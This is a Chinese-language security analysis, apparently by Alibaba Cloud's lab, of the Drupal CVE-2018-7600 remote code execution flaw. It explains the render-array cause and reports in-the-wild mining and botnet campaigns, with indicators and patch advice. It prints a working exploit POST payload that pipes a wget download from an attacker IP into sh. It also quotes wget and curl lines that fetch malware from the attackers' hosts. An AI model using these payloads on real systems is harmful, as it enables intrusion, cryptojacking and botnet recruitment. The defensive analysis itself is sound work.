背景介绍
2018年3月28日,Drupal Security Team官方发布了一个重要的安全公告,宣称Drupal 6,7,8等多个子版本存在远程代码执行漏洞,攻击者可以利用该漏洞攻击Drupal系统的网站,执行恶意代码,最后完全控制被攻击的网站,该漏洞就是:CVE-2018-7600。
此消息一出,蠢蠢欲动的黑客们立马如天降尚方宝剑,都在暗处磨刀霍霍。
阿里云安全技术实验室也在第一时间采取了安全防御行动,统计发现云上有将近上万个Drupal系统的网站,其中Drupal系统的7.x版本占比56%左右,8.x版本的系统占比23.5%,这些版本都是该漏洞的重灾区。如果黑客对这些网站发起攻击,其影响不容小觑。阿里云安全技术实验室随后通知了相关的云上用户,并发布漏洞公告,指导用户如何进行修复和防御。
阿里云安全技术实验室对该漏洞进行持续跟踪和监控发现,云上仍有一些用户由于未及时打补丁,导致网站系统被攻破。我们发现该漏洞的利用方法简单、有效,成功率极高。而且黑客们利用该漏洞的从事的黑产种类,也是百花齐放,各有高招。下面我们就来分析一下黑客们是如何利用该漏洞来进行各种敛财、牟取暴利的。
漏洞原理
该漏洞的产生的根本原因在于Drupal对表单的渲染上。
Drupal为了在表单渲染过程中能够动态修改数据,从6.x版本开始便引入了”Drupal Form API”的概念。
相关文档如下:https://api.drupal.org/api/drupal/elements/8.6.x
这些”可渲染的数组(Renderable arrays)”就是引发此次漏洞的”元凶”,它由一个key-value结构存储,其中key都以#
(hash sign)开头,如下所示:
[
‘#type’ => ‘markup’,
‘#markup’ => ‘<em>some text</em>’,
‘#prefix’ => ‘<div>’,
‘#suffix’ => ‘</div>’
]
Drupal在渲染这些”数组”时,将其中的数据未经安全过滤传入到doRender
函数中。
以下是doRender
函数调用call_user_func_array
函数的代码片段:
doRender函数部分代码
该方法取出”可渲染数组”#lazy_builder
的值,未经过滤直接传入call_user_func_array
函数,导致恶意代码被执行。
攻击链路还原如下:
黑客在”可渲染数组”中插入构造恶意代码,如:mail[#post_render][]=恶意代码
通过POST方法将含有恶意代码的”可渲染数组”提交到drupal系统中。
页面渲染流程中,”可渲染数组”中携带的恶意代码依次经过
buildform
->
uploadAjaxCallback
->
renderRoot
->
doRender
方法。
最终
doRender
方法将”可渲染数组”中的恶意代码取出,传入
call_user_func
函数,导致恶意代码被执行,成功触发漏洞,网站沦陷。
相关代码
https://github.com/drupal/drupal/blob/8.6.x/core/lib/Drupal/Core/Render/Renderer.php
漏洞利用
自从漏洞CVE-2018-7600公布开始,阿里云安全技术实验室就持续跟踪和监控该漏洞的利用情况,发现黑客从2018-04-12开始就已经进行了大批量的漏洞攻击。从最近这段时间监控到的数据发现,已有多个黑客组织开始使用该漏洞来从事黑产活动。
挖矿牟利
我们捕获到黑客精心构造POST数据,利用Drupal漏洞进行攻击,实现挖矿盈利。具体样例如下:
mail[#markup]=wget -q http://67.231.243.10:8220/logo4.jpg -O - | sh&mail[#type]=markup&form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec
logo4.jpg实际是一个shell脚本,该shell脚本有两个功能:
尝试结束市面上其他挖矿进程;其部分代码如下:
挖矿部分代码
拿到黑客的钱包地址后,我们在某个矿池中发现该黑客已经获得了75.87个门罗币,根据市场门罗币的行情预估,该黑客单在这一个矿池中就已经牟利11W,而且该地址的门罗币数量再以每天两个的数量在递增,其中利润之大可见一斑。
黑客的门罗币钱包
构建BillGates僵尸网络
黑客执行 wget -c -P /etc/ http://111.73.46.196:9876/sysxlv
命令,下载BillGates木马,用于构建自己的僵尸网络。
该僵尸网络的相关信息:
活跃时间:2018-02-14 ~ 至今中控IP:111.73.46.196
相关域名:xvw.f3322.net
关联样本:e05747461650ae6688fe0ed2b1104f0e
截至目前,影响云上用户趋势图如下:
BillGates木马入侵趋势
收集信息并传播Mirai僵尸网络
黑客通过下发恶意shell代码,传播Mirai僵尸网络。
下图是shell通过wget将用户机器信息POST到tc8zdw.if1j0ytgkypa.tk
:
上传用户信息部分命令
数据各个字段的值均用base64加密过,解密后如下:
上传信息字段名字段base64解码后的值
version | EXD |
act | up,表示上传 |
uid | uid=0(root) gid=0(root) groups=0(root) |
uname | Linux iZt4ncf567x3bguk2zv6haZ 2.6.32-696.16.1.el6.x86_64 #1 SMP Wed Nov 15 16:51:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux |
arch | 64,表示64为操作系统 |
network |
|
process |
|
名为64
的程序实际是一个Loader,负责判断环境,然后下载不同版本的Mirai僵尸网络。除此之外还会执行其他payload,如 curl -fsSL http://tc8zdw.if1j0ytgkypa.tk/64 -o /tmp/57332442
。
下载Mirai僵尸网络
入侵趋势
阿里云安全技术实验室从漏洞公布开始即密切关注云上该漏洞利用情况,发现云上批量攻击始于2018-04-12日,并快速增长,随着阿里云各个安全产品的联动拦截以及引导用户进行漏洞修复后,入侵趋势已基本下降下来。
云上Drupal RCE漏洞入侵趋势
威胁评估
本次补丁公布的时间点领先了批量漏洞利用时间点,用户拥有两周时间来进行安全更新。于此同时,云盾态势感知通用入侵检测模型在漏洞详情为公布前已经实现自动覆盖并向用户推送告警,目前绝大部分Drupal用户已经修复此漏洞,据最近一次入侵趋势观测结果(2018.04.18)显示,公有云存在漏洞的Drupal服务仅有2.6%。
与同类RCE漏洞相比,现阶段 Drupal(Drupalgeddon 2) 杀伤力未进入RCE漏洞第一梯队。
云上RCE漏洞杀伤力梯队
总结
此次Drupal RCE漏洞CVE-2018-7600,从公布到发现被打造成自动化攻击武器,时间如此之短,黑客学习新的漏洞知识的效率之高,着实”令人佩服”。并且不同的黑客组织纷纷将其打造的武器,快速应用到他们的黑产活动中,并为他们带来收益。这也可以看出,现在的网络安全攻防要求之高,难度之大。阿里云云盾安全产品从攻击流量、web入侵、主机异常等方面进行拦截和告警,及时阻断了黑客对云上用户的侵害,为阿里云上的用户提供了强大的安全保障。
相关IOC
IOC | 解释 |
---|---|
http://tc8zdw.if1j0ytgkypa.tk/k | kill其他矿机进程的sh |
http://tc8zdw.if1j0ytgkypa.tk/i | 下载矿机和配置矿机的sh |
http://tc8zdw.if1j0ytgkypa.tk/32 | 传播mirai僵尸网络的程序 |
http://tc8zdw.if1j0ytgkypa.tk/64 | 传播mirai僵尸网络的程序 |
http://158.69.133.18:8220/logo4.jpg | 下载并配置矿机的sh |
http://111.73.46.196:9876 | DDoS僵尸网络下载源 |
http://158.69.133.18:8220/1.json | 挖矿配置 |
http://67.231.243.10:8220/logo4.jpg | 下载并配置矿机的sh |
http://158.69.133.18:8220/rig | 挖矿程序 |
http://158.69.133.18:8220/rig1 | 挖矿程序 |
http://158.69.133.18:8220/rig2 | 挖矿程序 |
应对策略
官方已经修复此漏洞,请及时更新Drupal版本或参考补丁自行修复:
- Drupal 7.x 请更新至7.58版本(https://www.drupal.org/project/drupal/releases/7.58) 或参考此补丁进行修复 (https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5)
- Drupal 8.3.x 请更新至8.3.9版本(https://www.drupal.org/project/drupal/releases/8.3.9) 或参考此补丁进行修复(https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f)
- Drupal 8.4.x 请更新至8.4.6版本(https://www.drupal.org/project/drupal/releases/8.4.6) 或参考此补丁进行修复(https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f)
- Drupal 8.5.x 请更新至8.5.1版本(https://www.drupal.org/project/drupal/releases/8.5.1) 或参考此补丁进行修复(https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f)